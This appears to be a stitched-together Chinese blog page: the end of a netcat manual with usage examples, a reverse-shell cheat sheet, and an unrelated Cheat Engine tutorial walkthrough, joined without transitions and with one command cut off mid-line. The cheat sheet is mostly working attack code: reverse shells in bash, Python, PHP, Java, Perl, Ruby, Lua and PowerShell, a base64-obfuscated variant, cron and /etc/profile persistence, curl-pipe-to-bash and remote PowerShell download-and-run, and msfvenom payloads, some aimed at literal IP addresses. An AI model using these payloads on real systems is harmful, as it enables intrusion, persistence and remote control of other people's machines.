-s source_ip	指定用于发送数据包的接口的IP。对于UNIX域数据报套接字，指定要创建和使用的本地临时套接字文件，以便可以接收数据报。将此选项与-l选项结合使用是错误的。
-U	指定使用UNIX域套接字。
-u	使用UDP而不是TCP的默认选项。对于UNIX域套接字，请使用数据报套接字而不是流套接字。如果使用UNIX域套接字，则在/tmp中创建临时接收套接字，除非给出-s标志。
-V rtable	设置要使用的路由表。默认值为0。
-v	让nc提供更详细的输出。
-w timeout	无法建立或在超时秒后处于空闲状态的连接。-w标志对-l选项没有影响，即nc将永久侦听连接，无论是否使用-w标志。默认值为无超时。
-X proxy_protocol	请求nc在与代理服务器对话时应使用指定的协议。支持的协议有“4”（SOCKS v.4）、“5”（SOCKS v.5）和“connect”（HTTPS代理）。如果未指定协议，则使用SOCKS版本5。
-x proxy_address[:port]	请求nc应使用代理地址和端口处的代理连接到目标。如果未指定端口，则使用代理协议的已知端口（1080用于SOCKS，3128用于HTTPS）。
-Z	DCCP模式。
-z	指定nc应该只扫描侦听守护进程，而不向它们发送任何数据。将此选项与-l选项结合使用是错误的。

使用举例

客户/服务器模式

服务器端：监听端口

nc -l 6633

客户端：开启连接

nc 127.0.0.1 6633

服务器端

这是同一台服务器，使用了tmux，开了frankyu和yubo，两个session。客户端和服务端就建立了Tcp连接，进行通信。

注意：当我们关闭客户端时，服务端也会关闭，可以添加-k选项，使服务端不关闭。

文件传输

对上面的客户/服务器模式进行扩展即可。使用linux的重定向。

服务器端：

nc -l 6633 > filename.out

客户端：

nc 127.0.0.1 6633 < filename.in

基于TCP的上层协议

可以通过nc发送基于TCP的上层协议数据包，例如，应用层的HTTP协议

printf "GET / HTTP/1.0\r\n\r\n" | nc host.example.com 80

端口扫描

利用-z和-v参数，输出是否连接成功

nc -zv ip/host ports

可以看到22端口打开了。也可使用 22 80 6633，这种空格分隔的形式。

使用-u，就可以进行udp的扫描。当然，更详细的端口扫描还是使用Nmap。

反弹Shell

我们攻击其他的机器的时候，拿不到22端口的口令或私钥，甚至22端口没有打开。我们想要实时运行命令时，就可以使用nc反弹shell，有一种我们在操控对方电脑的感觉。利用前面的端口监听结合管道来实现。

在受害者机器上运行

nc -l port| /bin/bash/ | nc hacker_ip port

在攻击机上运行

nc -l port

nc victim_ip port

shell反弹示意图

这里攻击机和受害机都是使用的一台。

攻击机监听6655端口

nc -l 6655

操纵受害机6633端口接收命令，执行后结果输出到攻击机的6655端口

nc -l 6633 |/bin/bash/| nc 127.0.0.1 6655

攻击机开启6633端口发送命令

nc 127.0.0.1 6633

从攻击机源端口发送命令，就可以从目的端口接收命令执行的结果。

反弹Shell

Sat, 15 Apr 2023 10:35:00 GMT

测试

nc用法：
        -d 从控制台分离，后台模式

        -e prog 入站程序执行 [危险！！]
        -g 网关源路由跳点[s]，最多 8 个
        -G num 源路由指针: 4, 8, 12, ...
        -h 这个垃圾
        -i secs 发送线路的延迟间隔，扫描的端口
        -l 监听模式，用于入站连接
        -L 更努力地听，在套接字关闭时重新听
        -n 纯数字 IP 地址，无 DNS
        -o 文件十六进制转储流量
        -p port 本地端口号
        -r 随机化本地和远程端口
        -s addr 本地源地址
        -t 应答 TELNET 协商
        -u UDP 模式
        -v 详细 [使用两次更详细]
        -w secs 连接和最终网络读取超时
        -z 零 I/O 模式 [用于扫描]

nc版本没有-e参数

nc老版本是不能采用-e这个参数的，安装之后，由于ubuntu默认安装的是netcat-openbsd，需要运行命令进行配置
sudo update-alternatives --config nc
选择 /bin/nc.traditional的编号
# 调整为traditional版本

参数	解释
-4	强制nc仅使用IPv4地址
-6	强制nc仅使用IPv6地址
-b	允许广播
-C	发送CRLF作为行结束符
-D	在套接字上启动测试
-d	不要试图从标准输入读入数据
-h	打印nc帮助
-l length	指定TCP接收缓冲区大小
-i interval	指定发送和接收的文本行之间的延迟时间间隔。还会导致连接到多个端口之间的延迟时间。
-k	强制nc在当前连接完成后继续侦听另一个连接。在没有-l选项的情况下使用此选项是错误的。
-l	用于指定nc应侦听传入连接，而不是启动到远程主机的连接。将此选项与-p、-s或-z选项结合使用是错误的。此外，使用-w选项指定的任何超时都将被忽略。
-n	不要在任何指定的地址、主机名或端口上执行任何DNS或服务查找。
-O length	指定TCP发送缓冲区大小
-P proxy_username	指定要呈现给需要身份验证的代理服务器的用户名。如果未指定用户名，则不会尝试身份验证。目前仅支持HTTP CONNECT代理的代理身份验证。
-p source_port	根据权限限制和可用性，指定nc应使用的源端口。支持nn-mm范围模式和空格分隔。
-q seconds	在stdin上执行EOF后，等待指定的秒数，然后退出。如果秒数为负，则永远等待。
-r	指定应随机选择源端口和/或目标端口，而不是在某个范围内或按照系统分配的顺序顺序进行选择。
-S	启用RFC 2385 TCP MD5签名选项。
-s source_ip	指定用于发送数据包的接口的IP。对于UNIX域数据报套接字，指定要创建和使用的本地临时套接字文件，以便可以接收数据报。将此选项与-l选项结合使用是错误的。
-U	指定使用UNIX域套接字。
-u	使用UDP而不是TCP的默认选项。对于UNIX域套接字，请使用数据报套接字而不是流套接字。如果使用UNIX域套接字，则在/tmp中创建临时接收套接字，除非给出-s标志。
-V rtable	设置要使用的路由表。默认值为0。
-v	让nc提供更详细的输出。
-w timeout	无法建立或在超时秒后处于空闲状态的连接。-w标志对-l选项没有影响，即nc将永久侦听连接，无论是否使用-w标志。默认值为无超时。
-X proxy_protocol	请求nc在与代理服务器对话时应使用指定的协议。支持的协议有“4”（SOCKS v.4）、“5”（SOCKS v.5）和“connect”（HTTPS代理）。如果未指定协议，则使用SOCKS版本5。
-x proxy_address[:port]	请求nc应使用代理地址和端口处的代理连接到目标。如果未指定端口，则使用代理协议的已知端口（1080用于SOCKS，3128用于HTTPS）。
-Z	DCCP模式。
-z	指定nc应该只扫描侦听守护进程，而不向它们发送任何数据。将此选项与-l选项结合使用是错误的。

TCP监听：

nc -lvp 端口

UDP监听：

nc -u -lvp 端口   或者   nc -luvp 端口

nc反弹

攻击：nc -lnvp 端口                       -- n参数代表在建立连接之前不对主机进行dns解析

靶机：nc -e cmd VPS_IP 端口               --windows

靶机：nc -e /bin/sh VPS_IP 端口           --linux

jenkins：println "nc -e /bin/bash VPS_IP 端口".execute().text

交互式终端：python -c "import pty;pty.spawn('/bin/bash');"

不支持 -e 参数时：

nc VPS_IP 8888 | /bin/bash | VPS_IP 9999

远程的8888端口的输入设备（键盘）输入命令，将命令输出传递至本地的/bin/bash，通过本地shell解释执行命令后，将命令执行的结果以及错误输入到远程的9999端口。

nc反弹——IPv6

监听：nc -6 -lvv -k fe80::20c:29ff:fea2:9ee2%ens33
# nc -6 -lvv -k 监听机ipv6地址%对应网卡名称
# -k 监听结束重新监听

反弹：ncat -6 fe80::20c:29ff:fea2:9ee2%eth0 31337 -e /bin/bash
# ncat -6 监听机ipv6地址%反弹机对应网卡名称 端口（自动生成） -e /bin/bash

bash反弹

攻击：nc -lvp 端口

靶机：bash -i >& /dev/tcp/VPS_IP/端口 0>&1              --linux

base64:

bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xNDIuMTcwLjI1LzY2NzcgMD4mMQ==}|{base64,-d}|{bash,-i}'        --127.0.0.1

exec 5<>/dev/tcp/VPS_IP/端口;cat <&5 | while read line; do $line 2>&5 >&5;done

靶机：bash -c 'exec bash -i >& /dev/tcp/VPS_IP/端口 0>&1'

echo "bash -i >& /dev/tcp/47.109.194.84/1234 0>&1" > /tmp/shell.sh

chmod +x /tmp/shell.sh

bash /tmp/shell.sh

awk反弹

nc -lvp 端口

awk 'BEGIN{s="/inet/tcp/0/VPS_IP/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

gawk 'BEGIN{s="/inet/tcp/0/47.109.194.84/1234"; print "Hello" |& s; while((s|&getline resp)>0) print resp; close(s)}'

Python反弹

攻击：nc -lvp 端口

import os
import socket
import subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('VPS_IP', 端口))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(['/bin/bash', '-i'])

Php反弹

攻击：nc -lvp 端口

php -r 'exec("/bin/bash -i >& /dev/tcp/127.0.0.1/1234")'     （未成功）

php -r '$sock=fsockopen("127.0.0.1",1234);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

php -r '$sock=fsockopen("127.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Java反弹

public class Revs {
    /**
    * @param args
    * @throws Exception 
    */
public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.95.4/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

上面文件保存为Revs.java文件，编译执行，成功反弹shell。

javac Revs.java

目标若没有javac编译环境，只有java环境，可以先编译好上传再运行
java Revs     # kali测试成功

定时任务反弹

vim /etc/crontab

*/1  *  *  *  *   用户    bash /路径/文件.sh

*/1  *  *  *  *   用户    bash -c 'bash -i >& /dev/tcp/VPS_IP/端口 0>&1'

*/1  *  *  *  *   用户    /bin/bash -i>&/dev/tcp/VPS_IP/端口 0>&1       # 每隔一分钟，向攻击ip的端口发送shell

若反弹不成功，可能是每一行的结尾标识不同，入\r\n，可以在vim界面输入命令: set ff=unix 来进行修改格式，即可正常监听到反弹shell

将反弹shell的命令写入/etc/profile文件
将以下反弹shell的命写入/etc/profile文件中，/etc/profile中的内容会在用户打开bash窗口时执行。

/bin/bash -i >& /dev/tcp/VPS_IP/端口 0>&1 &       # 最后面那个&为的是防止管理员无法输入命令

bash -c 'bash -i >& /dev/tcp/VPS_IP/端口 0>&1'

curl反弹

在攻击者vps的web目录里面创建一个index文件（index.php或index.html），内容如下：

bash -c 'exec bash -i >& /dev/tcp/VPS_IP/端口 0<&1'

目录若是文件遍历的界面，直接curl 10.1.239.128:6677/1.txt|bash 即可

nc -lvnp 5555
开启监听后，在目标机上执行如下，即可反弹shell：

curl VPS_IP/文件 | bash

netcat反弹

安装完原生版本的 netcat 工具后，便有了netcat -e参数，我们就可以将本地bash反弹到攻击机上了。

攻击机开启本地监听：

netcat -lvvp 端口

目标机主动连接攻击机：

netcat VPS_IP 端口 -e /bin/bash       # nc <VPS_IP> <攻击机监听的端口> -e /bin/bash

powershell反弹

powercat是netcat的powershell版本，功能免杀性都要比netcat好用的多

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

下载到目标机器本地执行：

Import-Module ./powercat.ps1

powercat -c VPS_IP -p 端口         # 建立聊天室

powercat -c VPS_IP -p 端口 -e cmd

socket反弹

nc -lvp 端口

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:VPS_IP:端口        --linux

Telnet反弹

本地监听两个端口：
nc -lnvp 8888
nc -lnvp 9999

linux：
telnet VPS_IP 端口1 | /bin/bash | telnet VPS_IP 端口2       --远程的8888端口的输入设备（键盘）输入命令，将命令输出传递至本地的/bin/bash，通过本地shell解释执行命令后，将命令执行的结果以及错误输入到远程的9999端口。

最终本地的两个监听可以看到输入和输出的回显

MSF反弹

msfvenom -l payloads | grep 'cmd/windows/reverse'
msfvenom -p cmd/windows/reverse_powershell lhost=192.168.43.74 lport=1234

生成payload：

powershell -w hidden -nop -c $a='192.168.43.74';$b=1234;$c=New-Object system.net.sockets.tcpclient;$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$ob=New-Object System.Byte[] 65536;$eb=New-Object System.Byte[] 65536;$e=new-object System.Text.UTF8Encoding;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.RedirectStandardError=1;$p.StartInfo.UseShellExecute=0;$q=$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;$es=$p.StandardError;$osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);$esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);$c.connect($a,$b);$s=$c.GetStream();while ($true) {    start-sleep -m 100;    if ($osread.IsCompleted -and $osread.Result -ne 0) {      $r=$os.BaseStream.EndRead($osread);      $s.Write($ob,0,$r);      $s.Flush();      $osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);    }    if ($esread.IsCompleted -and $esread.Result -ne 0) {      $r=$es.BaseStream.EndRead($esread);      $s.Write($eb,0,$r);      $s.Flush();      $esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);    }    if ($s.DataAvailable) {      $r=$s.Read($nb,0,$nb.Length);      if ($r -lt 1) {          break;      } else {          $str=$e.GetString($nb,0,$r);          $is.write($str);      }    }    if ($c.Connected -ne $true -or ($c.Client.Poll(1,[System.Net.Sockets.SelectMode]::SelectRead) -and $c.Client.Available -eq 0)) {        break;    }    if ($p.ExitCode -ne $null) {        break;    }}

攻击IP进行监听：

nc -lvp 1234

目标在cmd中运行payload

当然msfvenom还可以生成各种木马程序，甚至进行免杀，在msfconsole中进行监听，同时还有反向连接和正向连接的不同 payload 选择

windows一般生成.exe，linux生成.elf

eg：
msfvenom -p windows/x64/meterpreter/bind_tcp rhost=靶机IP lport=监听端口 -f exe -o shell.exe     # windows 正向

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=VPS_IP lport=监听端口 -f elf -o shell.elf     # linux 反向

msf中如果是python反弹的shell，则没有交互，不能通过pty模块建立交互式shell，需要上线到nc中进行引用pty模块
监听nc -lvvp 5555
反弹nc -e /bin/sh 10.1.239.128 5555
失败，目标系统的nc版本没有-e参数
使用msfvenom生成nc反弹命令：msfvenom -p cmd/unix/reverse_netcat lhost=10.1.239.128 lport=5555 R
得到一句话反弹命令：mkfifo /tmp/hvlgtg; nc 10.1.239.128 5555 0</tmp/hvlgtg | /bin/sh >/tmp/hvlgtg 2>&1; rm /tmp/hvlgtg
在msf的shell中执行命令，并在本地nc监听成功上线
执行python -c "import pty;pty.spawn('/bin/bash');"成功得到可交互shell

Perl反弹

sh：
perl -e 'use Socket;$i="VPS_IP";$p=端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

bash：
perl -e 'use Socket;$i="VPS_IP";$p=端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

安装依赖模块

perl -MCPAN -e shell
install LWP::Simple(模块名称)

Ruby反弹shell

nc -lvnp

ruby -rsocket -e 'c=TCPSocket.new("IP","Port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Cobalt strike反弹

上线要有 ./teamserver

1、配置监听器：点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners，点击add。
2、生成payload：点击Attacks——>Packages——>Windows Executable，保存文件位置。
3、目标机执行powershell payload

未测试

Lua反弹shell

lua -e "require('socket');require('os');t=socket.tcp();t:connect('VPS_IP','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Empire反弹shell

usestager windows/launcher_vbs
info
set Listener test
execute

nishang反弹shell

https://github.com/samratashok/nishang

反弹TCP

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');
Invoke-PowerShellTcp -Reverse -IPAddress VPS_IP -port 1234

反弹UDP

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');
Invoke-PowerShellUdp -Reverse -IPAddress VPS_IP -port 1234

Dnscat反弹shell

https://github.com/iagox86/dnscat2

服务端：

ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open

目标主机：

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubuserconte

Cheat Engine 教程（1-9通关）x64

Tue, 11 Apr 2023 10:28:00 GMT

Cheat Engine 教程（ 1 - 9 通关）x64

工具包：https://down.52pojie.cn/Tools/Debuggers/ Cheat Engine 官网：https://www.cheatengine.org/ Cheat Engine v7.5汉化：https://pan.aoe.top/Tools

【Cheat Engine 、CrySearch、ReClassEx】【无视一切内核保护】：https://www.52pojie.cn/thread-1314107-1-1.html

那么，让我们来看看作弊引擎教程（x64）。

因此**，打开 Cheat Engine**，然后在主菜单中选择 help，然后选择 Cheat Engine Tutorial。

然后附加到 Cheat Engine Tutorial 进程，它应该是 'Tutorial-x86_64.exe'。

第 1 步：欢迎

当教程启动时，您应该会看到类似这样的东西，您只需在阅读帮助文本后单击 *下一步* 按钮。

在后续步骤中保存密码，以防崩溃（因注入）和稍后重新启动。

第 2 步：精确值扫描

因此，对于第 2 步，您将看到类似这样的东西。

我们需要找到的是 health 值，这里它是一个整数。

因此**，设置内存扫描器以查找整数并进行精确值扫描，然后将值设置为当前运行状况值**，大多数整数将存储在 4 字节的变量中，因此让我们从此处开始。

注：整数可以存储在 1 字节变量（byte）、2 字节变量（int16/short）、4 字节变量（int32/int）或 8 字节变量（int64/long）中。

准备好后**，单击*第一个扫描*按钮**。

您应该在找到的地址列表中看到一个地址列表，如下所示。

现在点击 *打我* 按钮，然后重新输入当前值并单击 *下次扫描* 按钮。

请注意列表中的红色值，这表明该值已更改。

单击*“下次扫描*”后，您可能需要继续单击*“打我*并重新扫描”，告诉找到的地址列表足够小，可以使用。

只需双击找到列表中的地址，即可将其添加到作弊表中。然后更改值并冻结地址，双击地址列表中的值进行编辑，单击启用器/冻结框冻结它。

现在应该启用*下一步*按钮，单击它以转到下一步。如果尚未启用下一步按钮，请再次单击 hit me 按钮。

第 3 步：未知的初始值

当您开始第 3 步时，您应该会看到如下所示的表单。

如帮助文本所示，请确保在开始新扫描之前单击*新扫描*按钮。

这将清除找到的结果以开始扫描新值。

在这里，我建议继续单击 *hit me* 按钮，看看该值是如何减少的，以帮助确定要扫描的值类型。

请注意，该值减少了一个整数，即非小数。

因此，我将扫描仪设置为 *4 个字节*和*未知的初始值*。然后点击 *第一次扫描* 按钮。

现在点击 *hit me* 按钮。

然后将扫描类型设置为 *reduced 值*，然后单击 *nest scan* 按钮。

请注意找到的地址数量，这对于当今的大多数游戏来说有点小，对于大多数游戏来说，找到的结果很容易达到数百万。

现在，只需使用 *hit me* 按钮继续减小值，并扫描*减小的值*，直到找到的结果足够小，可以使用为止。

现在我们只需选择一个地址并更改值以查看它是否具有所需的效果，这就是它的工作原理。

在这里，我建议您在更改值之前始终记下这些值（或只是 *Ctrl+C*），如果它们不是正确的值，请将其设置回去，以防止在游戏中执行此作时更改一堆未知地址并损坏您的保存文件。

将值设置为 5000 后，*Next （下一步*）按钮应立即变为启用状态。更改值并单击 hit me 按钮后，进度条应填充，但这不是必需的。

现在应该启用*下一步*按钮，单击它以转到下一步。如果尚未启用下一步按钮，请再次单击 hit me 按钮。

第 4 步：浮点

当您开始第 4 步时，您应该会看到如下所示的表单。

所以点击 *新扫描* 按钮。然后**，将扫描程序设置为*浮点*数、精确值*，输入当前运行状况值*。

设置后**，单击*第一个扫描*按钮**。

因此**，只需像以前一样扫描以查找运行状况地址**，然后将其添加到地址列表中。

现在再次单击*新扫描*按钮。然后将扫描仪设置为*双倍*的*精确值*，输入当前弹药值。

设置后**，单击*第一个扫描*按钮**。

因此**，只需像以前一样扫描以找到弹药地址**，然后将其添加到地址列表中。

现在将值更改为 5000，然后 Next （下一步）按钮应变为启用状态。然后点击 *下一步* 按钮进行下一步。

第 5 步：代码查找器

当您开始第 5 步时，您应该会看到如下所示的表单。

因此，首先找到该值，然后将其添加到地址列表中。

此时请继续保存表和密码，以防 debugger 设置不正确。

在地址列表中找到地址后，右键单击它，然后选择 *find out what accesses this address*。

作弊引擎将提示您附加调试器，只需单击 *yes* 按钮即可。

然后将打开一个调试器表单，现在单击 *change value* 按钮，您应该会获得显示在调试器表单中的代码。

我们想要的是 write 指令。因此，我们将寻找类似以下内容之一的东西：

mov [**]，** add [**]，** sub [**]，**  [**]，**

选择写指令的代码行，可以点击 show disassembler 按钮查看内存中的代码，然后点击 *replace* 按钮。

不要忘记单击*停止*按钮。

替换按钮会将该代码行替换为 NOP。

作弊引擎将提示您为它将添加到高级选项列表中的条目命名。

输入名称，然后单击 *OK* 按钮。

现在**，单击教程上的 *change value* 按钮**。

下一步按钮应变为启用状态，然后单击 *下一步* 按钮前进到下一步。

当高级选项列表中的条目被替换时，它们将显示为红色文本。

可以通过单击 Cheat Engine 主表单左下角状态栏中的 advanced options 按钮来查看高级选项列表。

要恢复列表中某个条目的原始代码，请右键单击该条目，然后选择 restore with original code （使用原始代码恢复）。

请注意，恢复后文本为黑色。

第 6 步：指针

当您开始第 6 步时，您应该会看到如下所示的表单。

因此，首先找到该值，然后将其添加到地址列表中。

在地址列表中找到地址后，右键单击它，然后选择 *find out what accesses this address*。

然后单击 *change value* 按钮，让进程访问该地址。

在选择代码以查找指针的基址时，请尝试选择不写入与基址相同的 register 的指令。

这里我们感兴趣的是方括号（'[' 和 ']'）之间的值，所以这里我们需要 RDX 的值。

指令

mov [rdx]，eax

表示它将 EAX 寄存器的内容写入 RDX 寄存器指向的内存地址。我们应该选择这条指令，因为我们正在寻找谁在修改内存地址 012348D0 的内容，我们可以看到它存储在 RDX 寄存器中。

如果指令有这样的内容，那么这里的偏移量是 0：

mov [rdx+12C]，eax

那么偏移量将是 '12C' （0x12C），请注意这是十六进制的。

现在我们想要找出哪个指针指向我们之前找到的感兴趣地址 012348D0。将扫描器设置为 *8 个字节*，*精确值*，选中*十六进制*复选框，然后获取找到的值并将其作为要扫描的值。

准备好后**，单击*第一个扫描*按钮**。

在找到的地址列表中查找带有绿色文本的地址，这些是静态地址。

现在我们想要跟踪这个指针，这样每当它的内容发生变化（这意味着它指向不同的内存位置）时，我们就能修改新的内存地址。将我们刚刚找到的指针添加到作弊表中，双击添加到地址列表中的内存记录的*地址*，复制地址，然后选中指针复选框，并将地址粘贴到指针基址中。

因此，我的指针将如下所示。

["Tutorial-x86_64.exe"+XXXXXX]+0

应该设置类似这样的东西，记得将 offset 设置为你找到的 offset。

单击*确定* 设置指针时的按钮。

现在将值冻结在 5000 并单击*更改指针*按钮，下一步按钮应变为启用状态。

如果下一步按钮未启用，则从找到的列表中选择另一个地址，查找已更改其值的绿色地址，并像上一个一样进行设置，看看它是否指向正确的值，如果是，请更改值冻结并单击更改指针按钮。

单击 *下一步* 按钮前进到下一步。

第 7 步：代码注入

当您开始第 7 步时，您应该会看到如下所示的表单。

在这里**，我们将遵循与步骤 5 相同的过程**，但不要单击 replace，而是单击 *show disassembler* 按钮。

这将在指令的地址打开反汇编器视图表单。

选择指令后，按 *Crtl+A* 打开一个自动汇编器表单。

在 auto assembler 表单菜单中**，选择 template，然后选择 full injection**。

这将生成一些脚本来开始。

现在我们需要添加一些代码，将值增加 2，然后删除减小值的原始代码。

为了增加价值，我们可以使用 INC 或 ADD。

所以让我们尝试一下这样的事情。

... newmem： 添加 dword ptr [rsi+780]，2  代码： sub dword ptr [rsi+00000780]，01 jmp 返回地址： JMP newmem nop  nop 返回： ...

现在**，将脚本添加到作弊表中**。

然后启用脚本并单击 hit me 按钮。

这应该会启用 next 按钮，因此单击 next 按钮转到下一步。

第 8 步：多级指针

当您开始第 8 步时，您应该会看到如下所示的表单。

手动迭代

因此，在这里，我们将遵循与步骤 6 相同的步骤，只是我们将看到什么访问了我们找到的基址，并且我们将不断重复此作，直到找到静态基址。

所以这是我的第一个调试器输出。

10002D8D1 - B9 A00F0000 - mov ecx,00000FA0
10002D8D6 - E8 3522FEFF - call Tutorial-x86_64.exe+XXXXXX
10002D8DB - 89 46 18  - mov [rsi+18],eax  <<<<<<
10002D8DE - 89 C2  - mov edx,eax
10002D8E0 - 48 8D 4D F8  - lea rcx,[rbp-08]

RAX=00000000000007F7
RBX=000000000125CD60
RCX=0000000000000FA0
RDX=00000000828087F3
RSI=0000000001287960  <<<<<<
RDI=0000000100258308
RSP=000000000102F070
RBP=000000000102F0B0
RIP=000000010002D8DE
R8=0000000100161BA0
R9=00000000008E06A0
R10=0000000000000002
R11=0000000000000206
R12=00000000012607C0
R13=0000000100161BA0
R14=0000000100258300
R15=0000000100257A18

我确实在第一次扫描基址时发现了一个静态基，但我记得这是一个假基。所以这里我们想要的是 'process.exe+offset' 形式的基址，你可以尝试其他看起来像 'module.dll+offset' 的地址，但我想说的是，这里它们将被证明是假指针。是的，大多数较新的游戏都会有很多 false 值和指针。

以及地址 hold： 0000000001287960 的调试器输出

10002D88B - E8 90961200 - call Tutorial-x86_64.exe+XXXXXX
10002D890 - E9 65000000 - jmp Tutorial-x86_64.exe+XXXXXX
10002D895 - 48 83 3E 00 - cmp qword ptr [rsi],00  <<<<<<
10002D899 - 74 5F - je Tutorial-x86_64.exe+XXXXXX
10002D89B - 48 8B 36  - mov rsi,[rsi]

RAX=0000000000013117
RBX=000000000125CD60
RCX=000000000125CD60
RDX=0000000000003CE3
RSI=0000000002D6D540  <<<<<<
RDI=0000000100258308
RSP=000000000102F070
RBP=000000000102F0B0
RIP=000000010002D899
R8=0000000100161BA0
R9=00000000008E06A0
R10=0000000000000002
R11=0000000000000206
R12=00000000012607C0
R13=0000000100161BA0
R14=0000000100258300
R15=0000000100257A18

以及来自地址 holding： 0000000002D6D540 的调试器输出

10002D845 - E8 D6961200 - call Tutorial-x86_64.exe+XXXXXX
10002D84A - E9 AB000000 - jmp Tutorial-x86_64.exe+XXXXXX
10002D84F - 48 83 7E 18 00 - cmp qword ptr [rsi+18],00  <<<<<<
10002D854 - 0F84 A0000000 - je Tutorial-x86_64.exe+XXXXXX
10002D85A - 48 8B 76 18  - mov rsi,[rsi+18]

RAX=00000000000166D2
RBX=000000000125CD60
RCX=000000000125CD60
RDX=000000000000302E
RSI=0000000002D6CE40  <<<<<<
RDI=0000000100258308
RSP=000000000102F070
RBP=000000000102F0B0
RIP=000000010002D854
R8=0000000100161BA0
R9=00000000008E06A0
R10=0000000000000002
R11=0000000000000206
R12=00000000012607C0
R13=0000000100161BA0
R14=0000000100258300
R15=0000000100257A18

以及来自地址 holding： 00000000002D6CE40 的调试器输出

10002D800 - E8 1B971200 - call Tutorial-x86_64.exe+XXXXXX
10002D805 - E9 F0000000 - jmp Tutorial-x86_64.exe+XXXXXX
10002D80A - 48 83 7E 10 00 - cmp qword ptr [rsi+10],00  <<<<<<
10002D80F - 0F84 E5000000 - je Tutorial-x86_64.exe+XXXXXX
10002D815 - 48 8B 76 10  - mov rsi,[rsi+10]

RAX=000000000000B567
RBX=000000000125CD60
RCX=000000000125CD60
RDX=00000000000050A1
RSI=000000000123F1C0  <<<<<<
RDI=0000000100258308
RSP=000000000102F070
RBP=000000000102F0B0
RIP=000000010002D80F
R8=0000000100161BA0
R9=00000000008E06A0
R10=0000000000000002
R11=0000000000000206
R12=00000000012607C0
R13=0000000100161BA0
R14=0000000100258300
R15=0000000100257A18

现在我们扫描那个基地 '0000000000123F1C0'，你应该找到一个静态地址，但在实际游戏中，你会继续前进，直到找到一个静态基地。

以该静态地址为基础，我的指针将如下所示。

[[[["Tutorial-x86_64.exe"+XXXXXX]+10]+18]+0]+18

指针扫描

指针扫描可用于快速解决此问题，首先找到所需值的地址，保存生成的指针映射，重新启动游戏，再次搜索地址，保存另一个指针映射，然后将两者进行比较。更多信息可以在 Help_File：Pointer_scan 中找到。

最后

找到指针后，将其冻结在 5000 处，然后单击*更改指针*按钮。如果您找到了正确的底座，则 Next （下一步）按钮应在大约 2 秒后变为启用状态。所以点击 *下一步* 按钮进入下一步。

第 9 步：共享代码

当您开始第 9 步时，您应该会看到如下所示的表单。

所以这里就像帮助文本所说的那样，解决方案远不止一个。

首先，我们需要找到其中一个地址并将其添加到表中。

如果您在查找地址时遇到问题，请记得尝试不同的值类型，并且不要忘记开始新的扫描。

然后，就像在步骤 7 中一样，我们想看看什么访问了地址，以找到写入 actor 生命值的函数。

如果您想尝试不同的方法，请继续保存密码，这是本教程的最后一步。

因此，在这里，最好了解我们实际上在寻找什么来区分盟友和战斗人员。

编写游戏或引擎时，Actor 和 Players 可能会像这样编写。

 # Actor，所有 Actor 的基础
 class Actor（object）{
 	string Name = 'Actor';
 	坐标坐标 = new Coord（0， 0， 0）;
 	浮生命值 = 100.0;...
 }
 Player class Player（Actor）{
 	Player 继承形式 Actor string Name = 'Player';int团队 = 1;...
 }

团队本身可能是一个结构，比如说，如果它被声明为一个对象类，比如 'Coords' 变量，我们想寻找一个指向参与者团队结构的指针。

因此，我们可以做到这一点的一种方法是在玩家结构中查找团队 ID 或团队结构。

在玩家结构中找到团队 ID

找到降低生命值的函数后。

右键单击反汇编器视图表单中的指令，然后选择 *find out what addresses this instruction accesss（找出此指令访问的地址*）。

然后点击所有 4 个值的 attack 按钮。

调试器列表中应包含所有 4 个地址。

因此，请继续将它们添加到地址列表中。

然后，让我们打开 dissect 数据结构表单。

你会得到一些弹出窗口，经过思考，你应该会看到这样的表单。请注意，我必须扩展表单的宽度才能移动列。

现在，在我的偏移量上，0x10被猜测为一个指针，在 64 位进程中是 8 字节宽的。我看到 0x10 处的指针的值看起来真的不像指针。

所以我不得不将其切换到 4 字节，并添加一个新的元素集，将其偏移量设置为 4 字节值类型的 0x14。这通常是它的工作方式。

所以在这里我们可以看到 team 变量位于结构的偏移量0x14。

